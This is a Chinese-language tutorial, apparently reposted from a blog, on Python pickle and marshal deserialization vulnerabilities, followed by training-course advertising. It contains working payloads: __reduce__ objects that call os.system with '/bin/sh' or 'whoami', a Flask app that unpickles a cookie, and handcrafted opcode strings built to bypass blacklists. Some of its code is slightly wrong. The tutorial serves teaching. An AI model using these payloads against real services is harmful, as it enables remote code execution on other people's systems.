一篇文章带你理解漏洞之Python反序列化

  • A+
所属分类:代码审计
一篇文章带你理解漏洞之Python反序列化

网安教育

培养网络安全人才

技术交流、学习咨询



这是关于Python语言相关漏洞的第三篇:反序列化漏洞。学过PHP反序列化漏洞之后,肯定知道关于PHP反序列化各式各样的利用方式,比如POP链构造,Phar反序列化,原生类反序列化以及字符逃逸等等,Python相对而言没有PHP那么灵活,关于反序列化漏洞的话比较容易理解,主要涉及这么几个概念:pickle,pvm,__reduce__魔术方法。

K0rz3n师傅的文章已经讲的极为透彻了,我就搬运总结学习一下。



0x01 python序列化和反序列化


序列化

i

 1import pickle
2class People(object):
3    def __init__(self,name = "K0rz3n"):
4        self.name = name
5
6    def say(self):
7        print "Hello ! My friends"
8
9a=People()
10c=pickle.dumps(a)
11print c


python3的输出:

一篇文章带你理解漏洞之Python反序列化

python2的输出:

一篇文章带你理解漏洞之Python反序列化

虽然看起来有点难理解,但是还是可以清楚地看到我们对象的属性 name ca01h,我们对象所属的类 people 都已近存储在里面了。


反序列化

 1import pickle
2class People(object):
3    def __init__(self,name = "K0rz3n"):
4        self.name = name
5
6    def say(self):
7        print "Hello ! My friends"
8
9a=People()
10c=pickle.dumps(a)
11d = pickle.loads(c)
12d.say()


无论python2还是python3,输出的都是Hello ! My friends,也就是说我们成功通过反序列化的方式恢复了之前我们序列化进去的类对象并成功的执行了对象的方法。



0x02 反序列化漏洞


漏洞常见出现地方

1.通常在解析认证token,session的时候

现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。

2.可能将对象Pickle后存储成磁盘文件。

3.可能将对象Pickle后在网络中传输。

其实,最常见的也是最经典的也就是我们的第一点,也就是 flask 配合 redis 在服务端存储 session 的情景,这里的 session 是被 pickle 序列化进行存储的,如果你通过 cookie 进行请求 sessionid 的话,session 中的内容就会被反序列化,看似好像是没有什么问题,因为 session 是存储在 服务端的,但是终究是抵不住 redis 的未授权访问,如果出现未授权的话,我们就能通过 set 设置自己的 session ,然后通过设置 cookie 去请求 session 的过程中我们自定的内容就会被反序列化,然后我们就达到了执行任意命令或者任意代码的目的。


漏洞利用方式

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。

简单说明一下__reduce__()函数:将一个数据集合(链表,元组等)中的所有数据进行下列操作:用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。


show code

1import pickle
2import os
3class A(object):
4    def __reduce__(self):
5        a = '/bin/sh'
6        return (os.system,(a,))
7a = A()
8test = pickle.dumps(a)
9print test


运行结果:

一篇文章带你理解漏洞之Python反序列化


稍微解释一下这几个指令:

S : 后面跟的是字符串

( :作为命令执行到哪里的一个标记

t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中

c :定义模块名和类名(模块名和类名之间使用回车分隔)

R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中

. :点号是结束符


另外p0 p1 p2 p3只是标签,对命令我们的payload没有任何影响。


我们让上面这个结果进行反序列化看一下结果

1import pickle
2import os
3class A(object):
4    def __reduce__(self):
5        a = '/bin/sh'
6        return (os.system,(a,))
7a = A()
8test = pickle.dumps(a)
9pickle.loads(test)


运行结果:

一篇文章带你理解漏洞之Python反序列化

再来看一个最简单的利用方式。

 1import pickle
2import base64
3from flask import Flask, request
4app = Flask(__name__)
5@app.route("/")
6def index():
7    try:
8        user = base64.b64decode(request.cookies.get('user'))
9        user = pickle.loads(user)
10        username = user["username"]
11    except:
12        username = "Guest"
13    return "Hello %s" % username
14if __name__ == "__main__":
15    app.run()


很明显,反序列化的参数是可控的。

1class exp(object):
2     def __reduce__(self):
3             return (os.system,('whoami',))
4
5e = exp()
6s = pickle.dumps(e)



0x03 Marshal反序列化


现在看看还有啥别的序列化库。由于pickle不能序列化code对象,所以在python2.6后新增marshal来处理code对象的序列化。

 1import pickle,builtins,pickletools,base64
2import marshal
3import urllib
4def foo():
5    import os
6    def fib(n):
7        if n <= 2:
8            return n
9        return fib(n-1) + fib(n-2)
10    print (fib(5))
11try:
12    pickle.dumps(foo.__code__)
13except Exception as e:
14    print(e)
15code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
16print(code_serialized)


运行结果:

一篇文章带你理解漏洞之Python反序列化


好,现在我们需要让这段代码在反序列化的时候得到执行,那我们还能不能直接使用 __reduce__ 呢?好像不行,因为 reduce 是利用调用某个 callable 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数,这个时候就需要自己构造opcode。

这里也用到了 Python 的一个面向对象的特性,Python 能通过 types.FunctionTyle(func_code,globals(),’’)() 来动态地创建匿名函数:

 1import pickle,builtins,pickletools,base64
2import marshal
3import urllib
4def foo():
5    import os
6    def fib(n):
7        if n <= 2:
8            return n
9        return fib(n-1) + fib(n-2)
10   print (fib(5))
11try:
12    pickle.dumps(foo.__code__)
13except Exception as e:
14    print(e)
15code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
16code_unserialized = marshal.loads(base64.b64decode(code_serialized))
17code_unserialized = types.FunctionType(code_unserialized, globals(), '')()
18print(code_unserialized)


那我们现在的任务就是如何通过 PVM 操作码来构造出这个东西的执行

 1ctypes
2FunctionType
3(cmarshal
4loads
5(cbase64
6b64decode
7(S'YwAAA...'           #code对象序列化编码
8tRtRc__builtin__
9globals
10(tRS''
11tR(tR.


利用方式

1def foo():
2    import os
3    return os.system('whoami')
4code_serialized = base64.b64encode(marshal.dumps(foo()))
5print(code_serialized)


执行结果:

一篇文章带你理解漏洞之Python反序列化


在pickle下尝试执行:

 1payload = b"""ctypes
2FunctionType
3(cmarshal
4loads
5(cbase64
6b64decode
7(S'6QAAAAA='   #whomai
8tRtRc__builtin__
9globals
10(tRS''
11tR(tR."""

12data = pickle.loads(payload)
13print(data)


于是又有一个黑名单绕过执行函数的方式。



0x04 Others


当然还有一些其他的反序列化方式,例如PyYaml,Jsonpickle,Shelve,这里就不多赘述了。

https://misakikata.github.io/2020/04/python-反序列化/


一篇文章带你理解漏洞之Python反序列化

版权声明:CA01H'S BLOG。原文链接:https://ca0y1h.top/Python/pysec/3.Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 版权声明:著作权归作者所有。如有侵权请联系删除

开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

一篇文章带你理解漏洞之Python反序列化

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

一篇文章带你理解漏洞之Python反序列化


我就知道你“在看”
一篇文章带你理解漏洞之Python反序列化

本文始发于微信公众号(开源聚合网络空间安全研究院):一篇文章带你理解漏洞之Python反序列化

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: